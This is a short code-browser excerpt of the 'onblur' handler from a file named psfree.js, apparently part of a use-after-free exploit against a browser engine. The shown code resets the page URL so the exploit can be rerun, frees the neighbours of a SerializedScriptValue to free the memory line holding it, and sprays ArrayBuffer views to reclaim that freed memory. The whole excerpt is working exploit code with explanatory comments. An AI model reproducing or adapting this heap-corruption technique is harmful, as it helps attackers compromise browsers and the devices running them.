Function onblur

g2all/900/psfree.js:218–244

()

    });

    function onblur() {
        // debug_log('blur came');
        if (num_blurs > 0) {
            die(`multiple blurs. blurs: ${num_blurs}`);
        }

        // we replace the URL with the original so the user can rerun the
        // exploit via a reload. If we don't, the exploit will append another
        // "#foo" to the URL and the input element will not be blurred because
        // the foo element won't be scrolled to during history.back()
        history.replaceState('state3', '', original_loc);

        // free the SerializedScriptValue's neighbors and thus free the
        // SmallLine where it resides
        for (let i = index - num_adjs / 2; i < index + num_adjs / 2; i++) {
            fsets[i].rows = '';
            fsets[i].cols = '';
        }

        for (let i = 0; i < num_reuses; i++) {
            const view = new Uint8Array(new ArrayBuffer(ssv_len));
            view[0] = 0x41;
            views.push(view);
        }

        num_blurs++;
    }
    input.addEventListener('blur', onblur);

    document.body.append(input);